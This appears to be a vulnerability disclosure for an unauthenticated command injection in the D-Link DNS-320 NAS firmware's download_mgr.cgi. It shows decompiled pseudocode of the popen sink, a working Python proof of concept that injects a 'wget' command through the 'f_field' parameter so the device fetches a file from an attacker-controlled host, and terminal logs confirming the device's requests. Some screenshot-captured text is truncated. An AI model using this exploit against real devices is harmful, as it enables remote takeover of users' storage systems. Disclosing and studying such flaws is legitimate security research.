D-Link DNS-320 download_mgr.cgi RSS_Get_Channel_Info function Unauthenticated Command Injection Vulnerability

```
Brand: D-Link
Model: DNS320
Firmware Version: 2.00
Official Website: https://www.dlink.com
Firmware Download URL: https://files.dlink.com.au/products/DNS-320/REV_A/Firmware/Firmware_v2.00b06/DNS-320_A1_FW_v2.00b06.zip
```

Affected Component

```
else if ( !strcmp(s, "RSS_Get_Channel_Info") )
{
  sub_EBD4();
}
```

D-Link DNS-320 device contains an unauthenticated command injection vulnerability in the RSS_Get_Channel_Info function of download_mgr.cgi. The unsanitized 'f_field' parameter is directly passed to system commands without validation, allowing remote attackers to execute arbitrary operating system commands via crafted HTTP requests.

```
1  size_t sub_EBD4()
2  {
3    char v1[1024]; // [sp+Ch] [bp-628h] BYREF
4    char s[256]; // [sp+40Ch] [bp-228h] BYREF
5    char nptr[4]; // [sp+50Ch] [bp-128h] BYREF
6    char v4[256]; // [sp+510h] [bp-124h] BYREF
7    FILE *stream; // [sp+610h] [bp-24h]
8    int v6; // [sp+614h] [bp-20h]
9    int i; // [sp+618h] [bp-1Ch]
10   int j; // [sp+61Ch] [bp-18h]
11   char *v9; // [sp+620h] [bp-14h]
12   char *delim; // [sp+624h] [bp-10h]
13
14   v6 = 0;
15   i = 0;
16   j = 0;
17   delim = ",";
18   memset(s, 0, sizeof(s));
19   memset(v1, 0, sizeof(v1));
20   cgiFormStringNoNewlines("f_field", v4, 256);
21   cgiFormStringNoNewlines("f_history", nptr, 4);
22   if ( !access("/tmp/rss_getchannelinfo", 0) )
23   {
24     sprintf(s, "rm -f %s", "/tmp/rss_getchannelinfo");
25     system(s);
26   }
27   if ( atoi(nptr) == 1 )
28     sprintf(s, "rss_perform -k %s -e 1 -c ", v4);
29   else
30     sprintf(s, "rss_perform -k %s -c ", v4);
31   fwrite("Pragma: no-cache\r\nCache-Control: no-cache\r\n", 1u, 0x2Bu, (FILE *)cgiOut);
32   cgiHeaderContentType("text/xml");
33   fwrite("<?xml version=\"1.0\" encoding=\"UTF-8\"?>", 1u, 0x26u, (FILE *)cgiOut);
34   fwrite("<config>", 1u, 8u, (FILE *)cgiOut);
35   for ( i = 0; i <= 4; ++i )
36   {
37     v6 = sub_EB14(s);
```

```
IDA View-A    Pseudocode-B    Pseudocode-A    Strings    Hex View-1
1 int __fastcall sub_EB14(const char *a1)
2 {
3   char s[256]; // [sp+8h] [bp-114h] BYREF
4   FILE *stream; // [sp+108h] [bp-14h]
5   int v6; // [sp+10Ch] [bp-10h]
6
7   v6 = 0;
8   memset(s, 0, sizeof(s));
9   stream = popen(a1, "r");                    // sink
10  if ( !stream )
```

POC

```python
import requests

url = "http://192.168.31.10:80/cgi-bin/download_mgr.cgi"

headers = {
}

data = {'f_field': 'x;wget http://192.168.31.166:8876/poc.py;', 'f_history': '0', 'cmd':
'RSS_Get_Channel_Info'}

# wget http://192.168.31.166:8876/poc.py

response = requests.post(
    url,
    headers=headers,
    data=data,
    timeout=10
)

print("Status:", response.status_code)
print("Response:")
print(response.text)
```

Attack

```
┌──(kali㉿kali)-[~/Desktop/work/firmware_unpack/dlink]
└─$ python -m http.server 8876
Serving HTTP on 0.0.0.0 port 8876 (http://0.0.0.0:8876/) ...
192.168.31.10 - - [18/Mar/2026 13:11:25] "GET /poc.py HTTP/1.0" 200 -
192.168.31.10 - - [18/Mar/2026 13:11:26] "GET /poc.py HTTP/1.0" 200 -
192.168.31.10 - - [18/Mar/2026 13:11:27] "GET /poc.py HTTP/1.0" 200 -
192.168.31.10 - - [18/Mar/2026 13:11:28] "GET /poc.py HTTP/1.0" 200 -
192.168.31.10 - - [18/Mar/2026 13:11:29] "GET /poc.py HTTP/1.0" 200 -
```

~/Desktop/work/firmware_unpack/dlink/unauth_.py - Mousepad

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```python
import requests

url = "http://192.168.31.10:80/cgi-bin/download_mgr.cgi"

headers = {
}

data = {'f_field': 'x;wget http://192.168.31.166:8876/poc.py;', 'f_history
'cmd': 'RSS_Get_Channel_Info'}

# wget http://192.168.31.166:8876/poc.py

response = requests.post(
    url,
    headers=headers,
    data=data,
    timeout=10
)

print("Status:", response.status_code)
print("Response:")
print(response.text)
```

Dlink_DNS320 - Thunar

kali@kali: ~/Desktop/work/firmware_unpack/dlink

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```
During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/kali/Desktop/work/firmware_unpack/dlink/unauth_.py", line 12, in <mo
    response = requests.post(
  File "/home/kali/.local/lib/python3.9/site-packages/requests/api.py", line 115,
    return request("post", url, data=data, json=json, **kwargs)
  File "/home/kali/.local/lib/python3.9/site-packages/requests/api.py", line 59, i
    return session.request(method=method, url=url, **kwargs)
  File "/home/kali/.local/lib/python3.9/site-packages/requests/sessions.py", line
    resp = self.send(prep, **send_kwargs)
  File "/home/kali/.local/lib/python3.9/site-packages/requests/sessions.py", line
    r = adapter.send(request, **kwargs)
  File "/home/kali/.local/lib/python3.9/site-packages/requests/adapters.py", line
    raise ReadTimeout(e, request=request)
requests.exceptions.ReadTimeout: HTTPConnectionPool(host='192.168.31.10', port=80)

┌──(kali㉿kali)-[~/Desktop/work/firmware_unpack/dlink]
└─$ python unauth_.py
Status: 200
Response:
<?xml version="1.0" encoding="UTF-8"?><config><state>0</state></config>

┌──(kali㉿kali)-[~/Desktop/work/firmware_unpack/dlink]
└─$ python unauth_.py
Status: 200
Response:
<?xml version="1.0" encoding="UTF-8"?><config><state>0</state></config>

┌──(kali㉿kali)-[~/Desktop/work/firmware_unpack/dlink]
└─$ python unauth_.py
Status: 200
Response:
<?xml version="1.0" encoding="UTF-8"?><config><state>0</state></config>

┌──(kali㉿kali)-[~/Desktop/work/firmware_unpack/dlink]
└─$
```

3 (427870 bytes) | Free space: 14.5 GiB